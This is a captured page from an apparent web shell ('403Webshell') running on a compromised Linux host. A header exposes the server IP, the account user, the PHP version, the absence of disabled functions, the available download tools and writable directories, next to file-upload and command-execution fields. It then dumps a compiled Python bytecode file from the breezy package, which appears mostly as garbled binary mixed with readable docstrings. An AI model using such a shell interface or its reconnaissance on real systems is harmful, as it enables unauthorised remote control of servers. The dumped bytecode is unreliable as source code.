403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/breezy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/breezy/__pycache__/workingtree.cpython-313.pyc
�

p��gl�����SrSSKrSSKrSSKrSSKJrJr \(aSSKJr SSK	J
r
 SSKJr \"\"5S5 SS	K
JrJrJr SS
K
Jr SSKJrJrJrJr SSKJr SS
KJrJr SSKJr "SS\R>5r "SS\R>5r!"SS\R>5r""SS\RF\5r$"SS\5r%\%"5r&"SS\5r'g)�google�N)�
TYPE_CHECKING�Optional�)�Branch)�RevisionTree)�lazy_importz4
import stat

from breezy import (
    views,
    )
)�errors�mutabletree�osutils)�revision)�ControlComponent�ControlComponentFormat�ControlComponentFormatRegistry�
ControlDir)�gettext)�mutter�note)�
NoSuchFilec��\rSrSrSrSrg)�SettingFileIdUnsupported�Dz.This format does not support setting file ids.�N��__name__�
__module__�__qualname__�__firstlineno__�_fmt�__static_attributes__r��4/usr/lib/python3/dist-packages/breezy/workingtree.pyrrD���;�Dr!rc��\rSrSrSrSrg)�ShelvingUnsupported�Hz.This format does not support shelving changes.rNrrr!r"r%r%Hr#r!r%c��\rSrSrSrSrg)�PointlessMerge�LzNothing to merge.rNrrr!r"r(r(Ls���Dr!r(c�^�\rSrSr%SrS\S'SrSpSjr\S5r	\S5r
S	rS
r\"SSS
9r
SrSrSrSrSrSrSrSrSrSr\SqSrSjj5r\SsS\\S\S\44Sjj5r\StSj5rSuSjr\SsSrSjj5r S r!S!r"SvS"jr#S#r$S$r%SwS%jr&S\'RP4S&jr)SwS'jr*SwS(jr+S)r,SsS*jr-SsS+jr.S,r/S-r0SxS.jr1SxS/jr2S0r3S1r4S2r5S3r6S4r7SxS5jr8S6r9S7r:S8r;SyS9jr<S:r=S;r>S<r?S=r@S>rASsS?jrBS@rCSArDSzSBjrESqSCjrFSDrGSErHSFrIS{SGjrJSHrKSIrLSJrMSKrNSLrOSMrPSNrQSOrRSPrSSQrTSRrUSSrVSTrWSUrXSVrYSzSWjrZS|SXjr[SYr\SZr]SvS[jr^S\r_S]r`S^raS}S_jrbS`rcSardSbreS~ScjrfSdrgSerhSfriSsSgjrjU4ShjrkSirlSjrmSkrnSSljroSsSmjrpSnrqSorrU=rs$)��WorkingTree�Pz�Working copy tree.

Attributes:
  basedir: The root of the tree on disk. This is a unicode path object
    (as opposed to a URL).
r�branchc�,�[RU5$�N)�views�
DisabledViews��selfs r"�_make_views�WorkingTree._make_views[s���"�"�4�(�(r!c�f�XPlX`lU(d[R"S5e[R
"U5n[
SU5 UbX lOURR5Ul[R"U5Ul
X@lSUlUR5Ulg)zzConstruct a WorkingTree instance. This is not a public API.

Args:
  branch: A branch to override probing for the branch.
zUPlease use controldir.open_workingtree or WorkingTree.open() to obtain a WorkingTree.zopening working tree %rN)�_format�
controldirr
�BzrErrorr�safe_unicoder�_branch�open_branch�realpath�basedir�
_transport�_rules_searcherr4r0)r3r>r-�	_internalr?r7�_controldirs       r"�__init__�WorkingTree.__init__^s�����%����/�/�>��
��&�&�w�/���(�'�2���!�L��?�?�6�6�8�D�L��'�'��0���$��#����%�%�'��
r!c�.�URR$r/)r8�user_transportr2s r"rF�WorkingTree.user_transport~s�����-�-�-r!c��UR$r/)r?r2s r"�control_transport�WorkingTree.control_transport�s�����r!c�B�[R"UR5$r/)r�supports_symlinksr>r2s r"rL�WorkingTree.supports_symlinks�s���(�(����6�6r!c�8�URRU5$)a]True if filename is the name of a control file in this tree.

Args:
  filename: A filename within the tree. This is a relative path
    from the root of this tree.

This is true IF and ONLY IF the filename is part of the meta data
that bzr controls in this tree. I.E. a random .bzr directory placed
on disk will not be a control file for this tree.
)r8�is_control_filename�r3�filenames  r"rO�WorkingTree.is_control_filename�s�����2�2�8�<�<r!c��UR$r/)r;r2s r"�<lambda>�WorkingTree.<lambda>�s��$�,�,r!z�The branch this WorkingTree is connected to.

            This cannot be set - it is reflective of the actual disk structure
            the working tree has been constructed from.
            )�fget�docc�.�URR$)z%See `Tree.has_versioned_directories`.)r7�supports_versioned_directoriesr2s r"�has_versioned_directories�%WorkingTree.has_versioned_directories�s���|�|�:�:�:r!c�.�URR$)zBIndicate whether this workingtree supports storing merge_modified.)r7�supports_merge_modifiedr2s r"r]�#WorkingTree.supports_merge_modified�s���|�|�3�3�3r!c�B�[R"UR5$r/)r�supports_executabler>r2s r"�_supports_executable� WorkingTree._supports_executable�s���*�*�4�<�<�8�8r!c�,�[UR5e)z�Break a lock if one is present from another instance.

Uses the ui factory to ask for confirmation if the lock may be from
an active process.

This will probe the repository for its lock as well.
)�NotImplementedError�
break_lockr2s r"re�WorkingTree.break_lock�s��"�$�/�/�2�2r!c�.�URR$r/)r7�requires_rich_rootr2s r"rh�WorkingTree.requires_rich_root�s���|�|�.�.�.r!c��g�NFrr2s r"�supports_tree_reference�#WorkingTree.supports_tree_reference�s��r!c�6�URR5$r/)r7�supports_content_filteringr2s r"ro�&WorkingTree.supports_content_filtering�s���|�|�6�6�8�8r!c�6�URR5$r/)r0�supports_viewsr2s r"rr�WorkingTree.supports_views�s���z�z�(�(�*�*r!c�.�URR$r/)r7�supports_setting_file_idsr2s r"ru�%WorkingTree.supports_setting_file_ids�s���|�|�5�5�5r!c�6�URR5$)zORetrieve the config stack for this tree.

Returns:
  A ``breezy.config.Stack``
)r-�get_config_stackr2s r"rx�WorkingTree.get_config_stack�s���{�{�+�+�-�-r!�returnc�x�Uc[R"5n[R"XS9nUR	US9$)z&Open an existing working tree at path.��_unsupported)�unsupported)r�getcwdr�open�open_workingtree)�pathr}�controls   r"r��WorkingTree.open�s7���<��>�>�#�D��/�/�$�B���'�'�L�'�A�Ar!r�c��Uc[R"5n[R"U5upUR	5U4$)a�Open an existing working tree which has its root about path.

This probes for a working tree at path and searches upwards from there.

Basically we keep looking up until we find the control directory or
run into /.  If there isn't one, raises NotBranchError.
TODO: give this a new exception.
If there is one, it is returned, along with the unused portion of path.

Returns:
  The WorkingTree that contains 'path', and the rest of path
)rrr�open_containingr�)r�r��relpaths   r"r��WorkingTree.open_containing�s<���<��>�>�#�D�%�5�5�d�;����'�'�)�7�2�2r!Tc��UcSnUb[U5S:Xa�[RU5SnUR5(aVU(aOURR5nU(a.Un[R
U5n[[S5U-5 X@4$US:XaUSnO(UnUVs/sHn[R"X5PM nn[RU5SnXDRXUS94$s snf)z�Open the WorkingTree that contains a set of paths.

Fail if the paths given are not all in a single tree.

This is used for the many command-line interfaces that take a list of
any number of files and that require they all be in the same tree.
�.rz'Ignoring files outside view. View is %s)�
apply_view)�lenr+r�rrr0�lookup_view�view_display_strrrr�pathjoin�safe_relpath_files)	�	file_list�default_directory�canonicalizer��tree�
view_files�view_str�seed�fs	         r"�open_containing_paths�!WorkingTree.open_containing_paths�s���$� #�����I��!� 3��.�.�/@�A�!�D�D��"�"�$�$��!�Z�Z�3�3�5�
�� *�I�$�5�5�j�A�H���!J�K�h�V�W��?�"���#��Q�<�D�$�D�IR�S��A��)�)�*;�?��I�S��*�*�4�0��3���,�,��
�-�
�
�	
��Ts�0 C;c�^�UcgTR5(a"U(aTRR5nO/n/nU(aU4SjnOTRnUHgnU"[R
"U55nU(a0[R"XH5(d[RXt5eURU5 Mi U$)aoConvert file_list into a list of relpaths in tree.

Args:
  self: A tree to operate on.
  file_list: A list of user provided paths or None.
  apply_view: if True and a view is set, apply it or check that
    specified files are within it

Returns:
  A list of relative paths.

Raises:
  errors.PathNotChild: When a provided path is in a different self than
     self
Nc�F>�[R"TRU5$r/)r�canonical_relpathr>)�pr3s �r"�fixer�-WorkingTree.safe_relpath_files.<locals>.fixer&s����0�0����q�A�Ar!)	rrr0r�r�r�dereference_path�
is_inside_any�FileOutsideView�append)	r3r�r�r�r��new_listr�rQr�s	`        r"r��WorkingTree.safe_relpath_filess���� ������ � �Z����/�/�1�J��J����
B��L�L�E�!�H��G�4�4�X�>�?�G��'�"7�"7�
�"L�"L��+�+�H�A�A��O�O�G�$�	"�
�r!c�*�[RUSS9$)znOpen an unsupported working tree.

Only intended for advanced situations like upgrading part of a controldir.
Tr|)r+r�)r�s r"�open_downlevel�WorkingTree.open_downlevel1s������4��8�8r!c�d�SRURR[USS55$)Nz
<{} of {}>r>)�format�	__class__r�getattrr2s r"�__repr__�WorkingTree.__repr__9s-���"�"��N�N�#�#�W�T�9�d�%C�
�	
r!c�D�[R"URU5$r/)rr�r>rPs  r"�abspath�WorkingTree.abspath>s��������h�7�7r!c�d�UR5SnUR	U5$![a6 URRR	[
R5s$f=f![Ra Of=fURRR	U5$![R[R4aa URRRU5(aeURRR	[
R5s$f=f)z�Return RevisionTree for the current last revision.

If the left most parent is a ghost then the returned tree will be an
empty tree - one obtained by calling
repository.revision_tree(NULL_REVISION).
r)�get_parent_ids�
IndexErrorr-�
repository�
revision_tree�
_mod_revision�
NULL_REVISIONr
�NoSuchRevision�RevisionNotPresent�has_revision�r3�revision_ids  r"�
basis_tree�WorkingTree.basis_treeAs��	U��-�-�/��2�K�	��%�%�k�2�2��
�	U��;�;�)�)�7�7�
�8S�8S�T�T�		U���$�$�	��	��
		U��;�;�)�)�7�7��D�D���)�)�6�+@�+@�A�	U��{�{�%�%�2�2�;�?�?���;�;�)�)�7�7�
�8S�8S�T�T�	U�s3�'�A*�=A'�&A'�*B�B�$B*�*BD/�.D/c�D�[R"URU5$)z�Return the local path portion from a given path.

The path may be absolute or relative. If its a relative path it is
interpreted relative to the python current working directory.
)rr�r>�r3r�s  r"r��WorkingTree.relpathas�����t�|�|�T�2�2r!c�L�[R"URU55$r/)r�lexistsr�rPs  r"�has_filename�WorkingTree.has_filenameis�����t�|�|�H�5�6�6r!c�&�URXS9S$)N��filteredr)�get_file_with_stat)r3r�r�s   r"�get_file�WorkingTree.get_filels���&�&�t�&�?��B�Br!c���URU5n[US5nU"UR
55nU(ahUR5(aSURU5nU(a;SSK	J
n	 Un
U	RXX5up[U
R5 U	RX{S9nXW4$![a/nUR[R:Xa[U5eeSnAff=f!U
R5 f=f)zSee Tree.get_file_with_stat.�rbNr)�filters)�st_size)r�r��OSError�errno�ENOENTr�filenoro�_content_filter_stack�r��filtered_input_file�close�FilteredStat)r3r�r��_fstatr��file_obj�e�
stat_valuer��_mod_filters�
orig_file_obj�sizes            r"r��WorkingTree.get_file_with_statos����,�,�t�$��	��G�T�*�H�
�H�O�O�-�.�
���7�7�9�9��0�0��6�G��5� (�
�*�%1�%E�%E�h�%X�N�H�!�'�'�)�)�6�6�z�6�P�
��%�%��!�	��w�w�%�,�,�&� ��&�&���	��"�'�'�)�s#�B'�2C#�'
C �1*C�C �#C5c�v�URXS9nUR5sSSS5 $!,(df   g=f)Nr�)r��read)r3r�r��my_files    r"�
get_file_text�WorkingTree.get_file_text�s'��
�]�]�4�]�
3�w��<�<�>�4�
3�
3���*�
8c�v�URXS9nUR5sSSS5 $!,(df   g=f)zSee Tree.get_file_lines().r�N)r��	readlines)r3r�r��files    r"�get_file_lines�WorkingTree.get_file_lines�s(��
�]�]�4�]�
3�t��>�>�#�4�
3�
3�r�c�2�UR5nU[R:Xa/nOU/nURR	S5n[
R"U5H%nURS5nURU5 M' U$![a U$f=f)z�See Tree.get_parent_ids.

This implementation reads the pending merges list and last_revision
value and uses that to decide what the parents list should be.
�pending-merges�
)
�_last_revisionr�r�r?�	get_bytesr�split_lines�rstripr�r)r3�last_rev�parents�merges_bytes�lr�s      r"r��WorkingTree.get_parent_ids�s����&�&�(���}�2�2�2��G��j�G�	,��?�?�4�4�5E�F�L��(�(��6���h�h�u�o�����{�+�7����
�	��
��
	�s�B�
B�Bc��UR5 UR5nURX25 UsSSS5 $!,(df   g=f)a�Duplicate this working tree into to_bzr, including all state.

Specifically modified files are kept as modified, but
ignored and unknown files are discarded.

If you want to make a new line of development, see ControlDir.sprout()

revision
    If not None, the cloned tree will have its last revision set to
    revision, and difference between the source trees last revision
    and this one merged in.
N)�	lock_read�create_workingtree�copy_content_into)r3�
to_controldirr��results    r"�clone�WorkingTree.clone�s9���^�^�
�"�5�5�7�F��"�"�6�7��	�
�
�s	�#>�
Ac���SSKJn UR5 URUR	S55 Uc	U"X5 OEURU5nU"X5 U[R:Xa/nOU/nURU5 SSS5 g![Ra( URRRU5nNwf=f!,(df   g=f)z?Copy the current content and user files of this tree into tree.r)�transform_treer�N)
�mergerr��set_root_id�path2idr�r
r�r-r�r�r��set_parent_ids)r3r�r�r�
other_tree�new_parentss      r"r��WorkingTree.copy_content_into�s���)�
�^�^�
����T�\�\�"�-�.��"��t�*�S�!%�!3�!3�K�!@�J��t�0��-�"=�"=�=�"$�K�#.�-�K��#�#�K�0�#�
���,�,�S�!%���!7�!7�!E�!E�k�!R�J�S���
�s/�-C�B�3C�9C�C�
C�C�
Cc���[RRURU55$![a)nUR
[
R:waeSnAgSnAff=f)zSee Tree.get_file_size.N)�osr��getsizer�r�r�r�)r3r�r�s   r"�
get_file_size�WorkingTree.get_file_size�sI��	��7�7�?�?�4�<�<��#5�6�6���	��w�w�%�,�,�&����		�s�-0�
A#�A�A#c��UR5 [U5HJup4X#bM[R"UR	U55n[R
"U5X#'ML SSS5 g![a4nUR[R:Xa[U5eSnAM�SnAff=f!,(df   g=f)zSee MutableTree._gather_kinds.N)
�lock_tree_write�	enumerater�normpathr��	file_kindr�r�r�r)r3�files�kinds�posr��fullpathr�s       r"�
_gather_kinds�WorkingTree._gather_kinds�s���
�
!�
!�
#�#�E�*����:�%�&�/�/����Q��@�H�7�%,�%6�%6�x�%@��
�	+�$�
#��#�7��7�7�e�l�l�2�",�X�"6�6�3��7��
$�
#�s:�B5�%B5�A4�'B5�4
B2�>)B-�'B5�-B2�2B5�5
Cc���UR5 UR5U/-nURU[U5S:�=(d US9 SSS5 g!,(df   g=f)a�Add revision_id as a parent.

This is equivalent to retrieving the current list of parent ids
and setting the list to its value plus revision_id.

Args:
  revision_id: The revision id to add to the parent list. It may
    be a ghost revision as long as its not the first parent to be
    added, or the allow_leftmost_as_ghost parameter is set True.
  allow_leftmost_as_ghost: Allow the first parent to be a ghost.
r��allow_leftmost_as_ghostN)�
lock_writer�rr�)r3r�rr�s    r"�add_parent_tree_id�WorkingTree.add_parent_tree_id�sW���_�_�
��)�)�+�{�m�;�G�����(+�G��q�(8�(S�<S�
 �
��
�
���:A�
A"c���UR5 UR5US/-n[U5S:�aSnURX2S9 SSS5 g!,(df   g=f)aAdd revision_id, tree tuple as a parent.

This is equivalent to retrieving the current list of parent trees
and setting the list to its value plus parent_tuple. See also
add_parent_tree_id - if you only have a parent id available it will be
simpler to use that api. If you have the parent already available, using
this api is preferred.

Args:
  parent_tuple: The (revision id, tree) to add to the parent list.
    If the revision_id is a ghost, pass None for the tree.
  allow_leftmost_as_ghost: Allow the first parent to be a ghost.
rrTrN)rr�r�r)r3�parent_tupler�
parent_idss    r"�add_parent_tree�WorkingTree.add_parent_tree�s`���
!�
!�
#��,�,�.�,�q�/�1B�B�J��:���"�+/�'�����
 �
�
$�
#�
#�s�8A�
A c���UR5 UR5nSnUHnXB;aM
URU5 SnM U(aURUSS9 SSS5 g!,(df   g=f)NFTr)rr�r�r)r3�revision_idsr��updated�rev_ids     r"�add_pending_merge�WorkingTree.add_pending_mergesk��
�
!�
!�
#��)�)�+�G��G�&���$�����v�&���	'�
��#�#�G�T�#�J�$�
#�
#�s�A
A'�'
A5c�,�[UR5e)zSee Tree.path_content_summary.)rd�path_content_summaryr�s  r"r.� WorkingTree.path_content_summarys��!�$�";�";�<�<r!c��[U5S:�aNUSnU(dAURRRU5(d[R
"U5eggg)z�Common ghost checking functionality from set_parent_*.

This checks that the left hand-parent exists if there are any
revisions present.
rN)r�r-r�r�r
�GhostRevisionUnusableHere)r3r(r�leftmost_ids    r"�_check_parents_for_ghosts�%WorkingTree._check_parents_for_ghosts#s\���|��q� �&�q�/�K�*�4�;�;�3I�3I�3V�3V��4�4��6�6�{�C�C�4�*�!r!c��USSnURRSSRU5URR	5S9 g)Nrr�r�)�mode)r?�	put_bytes�joinr8�_get_file_mode)r3r$�mergess   r"�_set_merges_from_parent_ids�'WorkingTree._set_merges_from_parent_ids0sA���A�B������!�!��e�j�j��0�t���7U�7U�7W�	"�	
r!c��[U5S:XaU$URRR5nUR	U5nUSSnUSSH"nXS;dM
XT;dMURU5 M$ XA:wa
[
SUU5 U$)z�Check that all merged revisions are proper 'heads'.

This will always return the first revision_id, and any merged revisions
which are
rNrz6requested to set revision_ids = %s, but filtered to %s)r�r-r��	get_graph�headsr�r)r3r(�graphr?�new_revision_idsr�s      r"�_filter_parent_ids_by_ancestry�*WorkingTree._filter_parent_ids_by_ancestry6s����|���!������&�&�0�0�2�����L�)��'���+��'���+�K��#��(K� �'�'��4�,��+��H�� �
�
 �r!c�~�UR5 URXS9 UHn[R"U5 M UR	U5n[U5S:�aUR
US5 OUR
[R5 URU5 SSS5 g!,(df   g=f)a�Set the parent ids to revision_ids.

See also set_parent_trees. This api will try to retrieve the tree data
for each element of revision_ids from the trees repository. If you have
tree data already available, it is more efficient to use
set_parent_trees rather than set_parent_ids. set_parent_ids is however
an easier API to use.

Args:
  revision_ids: The revision_ids to set as the parent ids of this
    working tree. Any of these may be ghosts.
rrN)	rr3r��check_not_reserved_idrBr��set_last_revisionr�r;)r3r(rr�s    r"r�WorkingTree.set_parent_idsLs����
!�
!�
#��*�*��
+�
� ,���3�3�K�@� ,� �>�>�|�L�L��<� �1�$��&�&�|�A��7��&�&�}�'B�'B�C��,�,�\�:�$�
#�
#�s�BB.�.
B<c��UR5 UR5nUSSnX1-nURU5 SSS5 g!,(df   g=f)Nr)rr�r)r3�rev_listr��leftmostr	s     r"�set_pending_merges�WorkingTree.set_pending_mergesisI��
�
!�
!�
#��)�)�+�G��r��{�H�"�-�K�����,�	$�
#�
#�s�+A�
Ac�,�[UR5e)zSet the merge modified hashes.)rd�set_merge_modified)r3�modified_hashess  r"rN�WorkingTree.set_merge_modifiedps��!�$�"9�"9�:�:r!c��g)z�Get a sha digest from the tree's stat cache.

The default implementation assumes no stat cache is present.

Args:
  path: The path.
  stat_result: The stat result being looked up.
Nr)r3r��stat_results   r"�_sha_from_stat�WorkingTree._sha_from_statts��r!c��SSKJnJn UR5 U"URUS9nU(d+UR5(a[R"U5eUcUR5nX(l	[R"UR5(a[R"U5eURRXRS9 URUlURRR!UR5UlXlUcUR'5 OUR)X15 UR*UR:Xa
[-5eSUlUcXhlOXHlUR3S5 SUlSUlUR95n	UR;5 U	sSSS5 $!,(df   g=f)aBMerge from a branch into this working tree.

Args:
  branch: The branch to merge from.
  to_revision: If non-None, the merge will merge to to_revision,
    but not beyond it. to_revision does not need to be in the history
    of the branch when it is supplied. If None, to_revision defaults to
    branch.last_revision().
r)�Merge3Merger�Merger)�	this_treeN)�
stop_revisionF)rrVrWrr-�has_changesr
�UncommittedChanges�
last_revision�other_rev_idr��is_null�	NoCommits�fetch�other_basisr�r�r�other_branch�	find_base�set_base_revision�base_rev_idr(�backup_files�
merge_type�set_interesting_files�	show_base�	reprocess�do_merge�set_pending)
r3r-�to_revision�
from_revisionrg�forcerVrW�merger�	conflictss
          r"�merge_from_branch�WorkingTree.merge_from_branchsy��	0�
�_�_�
��D�K�K�4�8�F��T�-�-�/�/��/�/��5�5��"�$�2�2�4��"-���$�$�V�%8�%8�9�9��&�&�v�.�.��K�K���f�4G�4G��H�!'�!4�!4�F�� $��� 6� 6� D� D��#�#�!�F��#)���$�� � �"��(�(��?��!�!�V�%8�%8�8�$�&�&�"'�F���!�$0�!�$.�!��(�(��.�$�F��$�F�����)�I���� ��A�
�
�s�F&G	�	
Gc�,�[UR5e)aFReturn a dictionary of files modified by a merge.

The list is initialized by WorkingTree.set_merge_modified, which is
typically called after we make some automatic updates to the tree
because of a merge.

This returns a map of file_id->sha1, containing only files which are
still in the working tree and have that text hash.
)rd�merge_modifiedr2s r"ru�WorkingTree.merge_modified�s��"�$�"5�"5�6�6r!c���UR5 [R"URU55 UR	U/S/5 SSS5 g!,(df   g=f)zSee MutableTree.mkdir().�	directoryN)rr�mkdirr��addr�s  r"ry�WorkingTree.mkdir�s?��
�_�_�
��H�H�T�\�\�$�'�(��H�H�d�V�k�]�+��
�
�r!c���URU5n[R"U5$![a0n[	USS5[
R:Xa[U5eeSnAff=f)Nr�)r�r�readlinkr�r�r�r�r)r3r�r�r�s    r"�get_symlink_target�WorkingTree.get_symlink_target�sY���,�,�t�$��	��#�#�G�,�,���	��q�'�4�(�E�L�L�8� ��&�&���	�s�)�
A#�+A�A#c�,�[UR5er/)rd�subsume)r3rs  r"r��WorkingTree.subsume�s��!�$�,�,�/�/r!c�,�[UR5er/)rd�_directory_is_tree_reference�r3r�s  r"r��(WorkingTree._directory_is_tree_reference�s��!�$�"C�"C�D�Dr!c�,�[UR5e)zeExtract a subtree from this tree.

A new branch will be created, relative to the path for this tree.
)rd�extract)r3r�r�s   r"r��WorkingTree.extract�s��
"�$�,�,�/�/r!c�,�[UR5e)z&Write the in memory meta data to disk.)rd�flushr2s r"r��WorkingTree.flush�s��!�$�*�*�-�-r!c�L�[R"URU55$r/)rrr�r�s  r"�kind�WorkingTree.kind�s��� � ����g�!6�7�7r!c�,�[UR5e)a~List all files as (path, class, kind, id, entry).

Lists, but does not descend into unversioned directories.
This does not include files that have been deleted in this
tree. Skips the control directory.

Args:
  include_root: if True, return an entry for the root
  from_dir: start from this directory or None for the root
  recursive: whether to recurse into subdirectories or not
)rd�
list_files)r3�include_root�from_dir�	recursive�recurse_nesteds     r"r��WorkingTree.list_files�s��"�$�/�/�2�2r!c�,�[UR5e)aERename files.

to_dir must be known to the working tree.

If to_dir exists and is a directory, the files are moved into
it, keeping their old names.

Note that to_dir is only the last component of the new name;
this doesn't change the directory.

For each entry in from_paths the move mode will be determined
independently.

The first mode moves the file in the filesystem and updates the
working tree metadata. The second mode only updates the working tree
metadata without touching the file on the filesystem.

move uses the second mode if 'after == True' and the target is not
versioned but present in the working tree.

move uses the second mode if 'after == False' and the source is
versioned but no longer in the working tree, and the target is not
versioned but present in the working tree.

move uses the first mode if 'after == False' and the source is
versioned and present in the working tree, and the target is not
versioned and not present in the working tree.

Everything else results in an error.

This returns a list of (from_path, to_path) pairs for each
entry that is moved.
)rd�move)r3�
from_paths�to_dir�afters    r"r��WorkingTree.move�s��D"�$�)�)�,�,r!c��SSKnURURU5URU55 URU5 g)z�Copy a file in the tree to a new location.

This default implementation just copies the file, then
adds the target.

Args:
  from_rel: From location (relative to tree root)
  to_rel: Target location (relative to tree root)
rN)�shutil�copyfiler�rz)r3�from_rel�to_relr�s    r"�copy_one�WorkingTree.copy_ones3��	�������X�.����V�0D�E�����r!c	���UR5 [UR5Vs/sHoRU5(aMUPM sn5sSSS5 $s snf!,(df   g=f)zxReturn all unknown files.

These are files in the working directory that are not versioned or
control files or ignored.
N)r��iter�extras�
is_ignored)r3�subps  r"�unknowns�WorkingTree.unknowns!sM���^�^�
��$�+�+�-�U�-�$���t�?T��-�U�V��
��V��
�s"�A!�A
�A
�A!�A!�!
A/c�,�[UR5e)z�Remove the path in pahs from the current versioned set.

When a path is unversioned, all of its children are automatically
unversioned.

Args:
  paths: The paths to stop versioning.

Raises:
  NoSuchFile: if any path is not currently versioned.
)rd�	unversion)r3�pathss  r"r��WorkingTree.unversion,s��"�$�.�.�1�1r!c	���SSKJn	 UR5 UR5 URR5n
UR
5nURRUUUUUUS9nURR5n
X�:wGa�URRnURR(a-UR5nU(aUSnURU5nUR5 URR
5nU	"URUUUUUS9 URS5nURS5nUbUU:waURU5 SSS5 /nURR5[ R":wa+UR%URR5W45 UR5SSnUR'UVs/sHnUURU54PM sn5 UR)U5 UsSSS5 sSSS5 $!,(df   N�=fs snf!,(df   O=fSSS5 g!,(df   g=f)Nr)�merge_inner)�	overwriterY�possible_transports�local�tag_selectorr)rX�change_reporterrir�)rr�rr�r-�last_revision_infor��pullr�r7�fast_deltasr�r�rrr\r�r�r��extend�set_parent_trees)r3�sourcer�rYr�r�r�rir�r��old_revision_infor��count�new_revision_infor�r$�basis_id�new_basis_tree�
basis_root_id�new_root_id�parent_treesr:�parents                       r"r��WorkingTree.pull:s��	'�
�_�_�
�� 0� 0� 2� $��� >� >� @�����*�J��K�K�$�$��#�+�$7��)�
%��E�!%��� >� >� @�� �5�!�[�[�3�3�
��%�%�1�1�!%�!4�!4�!6�J�!�#-�a�=��%/�%=�%=�h�%G�
��)�)�+�%)�[�[�%;�%;�%=�N�����&�"�"&�(7�"+�
�%/�$6�$6�r�$:�M�"0�"8�"8��"<�K�"�.�=�K�3O��(�(��5�,�" "���;�;�,�,�.�-�2M�2M�M� �'�'����)B�)B�)D�n�(U�V��,�,�.�q�r�2���#�#�NT�U�f�F�f�j�6�6�v�>�?�f�U���%�%�l�3��c!3� 2�
�
�&,�+��6V�]!3� 2��
�
�
�sI�I'�CI
�?A,H7�+BI
�.I�I
�$	I'�7
I�I
�
I	�I'�'
I5c���UR5 [URU5S5nURU5 SSS5 SSS5 g!,(df   N=f!,(df   g=f)z*See MutableTree.put_file_bytes_non_atomic.�wbN)rr�r��write)r3r��bytes�streams    r"�put_file_bytes_non_atomic�%WorkingTree.put_file_bytes_non_atomiczsE��
�_�_�
��T�\�\�$�%7�� >�&��L�L���!?�
�
� >� >��
�
�s!�A!�A�A!�
A	�A!�!
A/c�,�[UR5e)a�Yield all unversioned files in this WorkingTree.

If there are any unversioned directories and the file format
supports versioning directories, then only the directory is returned,
not all its children. But if there are unversioned files under a
versioned subdirectory, they are returned.

Currently returned depth-first, sorted by name within directories.
This is the same order used by 'osutils.walkdirs'.
)rdr�r2s r"r��WorkingTree.extrass��"�$�+�+�.�.r!c#�p# �UR5HnURU5nUcMX4v� M  g7f)z#Yield list of PATH, IGNORE_PATTERN.N)r�r�)r3r��pats   r"�
ignored_files�WorkingTree.ignored_files�s/����K�K�M�D��/�/�$�'�C����i��"�s�&6�
6c�,�[UR5e)z5Check whether the filename matches an ignore pattern.)rdr�rPs  r"r��WorkingTree.is_ignored�s��!�$�/�/�2�2r!c�,�[UR5e)zSee Tree.stored_kind.)rd�stored_kindr�s  r"r��WorkingTree.stored_kind����!�$�"2�"2�3�3r!c���URU5n[R"U5nURn[R
"U5nUR
5(dUSL=(a URnO9[[RU5=(a [RU-5nXgU4$![a0n[USS5[R:XaSnSnSnSnAN8eSnAff=f)Nr�F)r�r�lstat�st_moder�file_kind_from_stat_modera�
executable�bool�stat�S_ISREG�S_IEXECr�r�r�r�)	r3�entryr�r�r�r6r�r�r�s	         r"�_comparison_data�WorkingTree._comparison_data�s����,�,�t�$��	N����'�*�J��%�%�D��3�3�D�9�D��,�,�.�.�"�$�.�C�5�3C�3C�
�!�$�,�,�t�"4�"L�����9L�M�
���+�+���	��q�'�4�(�E�L�L�8�!�
���"�
���
	�s�B5�5
C/�?%C*�)C*�*C/c�"�UR5$)z�Return the last revision of the branch for this tree.

This format tree does not support a separate marker for last-revision
compared to the branch.

See MutableTree.last_revision
)r�r2s r"r\�WorkingTree.last_revision�s���"�"�$�$r!c��UR5 URR5sSSS5 $!,(df   g=f)zHelper for get_parent_ids.N)r�r-r\r2s r"r��WorkingTree._last_revision�s(��
�^�^�
��;�;�,�,�.��
�
�s	�5�
Ac�,�[UR5e)zCheck if this tree is locked.)rd�	is_lockedr2s r"r��WorkingTree.is_locked�s��!�$�.�.�1�1r!c�,�[UR5e)z�Lock the tree for reading.

This also locks the branch, and can be unlocked via self.unlock().

Returns: A breezy.lock.LogicalLockResult.
)rdr�r2s r"r��WorkingTree.lock_read�s��"�$�.�.�1�1r!c�,�[UR5e)zcSee MutableTree.lock_tree_write, and WorkingTree.unlock.

return: A breezy.lock.LogicalLockResult.
)rdrr2s r"r�WorkingTree.lock_tree_write�s��
"�$�"6�"6�7�7r!c�,�[UR5e)z_See MutableTree.lock_write, and WorkingTree.unlock.

Returns: A breezy.lock.LogicalLockResult.
)rdrr2s r"r�WorkingTree.lock_write�s��
"�$�/�/�2�2r!c�,�[UR5er/)rd�get_physical_lock_statusr2s r"r��$WorkingTree.get_physical_lock_status�s��!�$�"?�"?�@�@r!c�,�[UR5e)z-Change the last revision in the working tree.)rdrF�r3�new_revisions  r"rF�WorkingTree.set_last_revision����!�$�"8�"8�9�9r!c�D�[R"U5(aURRSU5 g[R"U5 URRU5 g![Ra URRU/5 gf=f)z�Template method part of set_last_revision to perform the change.

This is used to allow WorkingTree3 instances to not affect branch
when their last revision is set.
rFT)	r�r^r-�set_last_revision_inforE�generate_revision_historyr
r��_set_revision_historyr�s  r"�_change_last_revision�!WorkingTree._change_last_revision�s���� � ��.�.��K�K�.�.�q�,�?���+�+�L�9�	>��K�K�1�1�,�?����$�$�	>��K�K�-�-�|�n�=��	>�s�A,�,0B�Bc�,�[UR5e)aRemove nominated files from the working tree metadata.

:files: File paths relative to the basedir.
:keep_files: If true, the files will also be kept.
:force: Delete files and directories, even if they are changed and
    even if the directories are not empty.
)rd�remove)r3r�verbose�to_file�
keep_filesros      r"r�WorkingTree.remove�s��"�$�+�+�.�.r!c	��SSKJn SSKJn [R
"5nUR
UR55 Uc2UR5n	UR
U	R55 U	nOSn	U"XXXE5n
Uc�[UR55S:�a�/nUR5nU[R:waDU	c/UR5n	UR
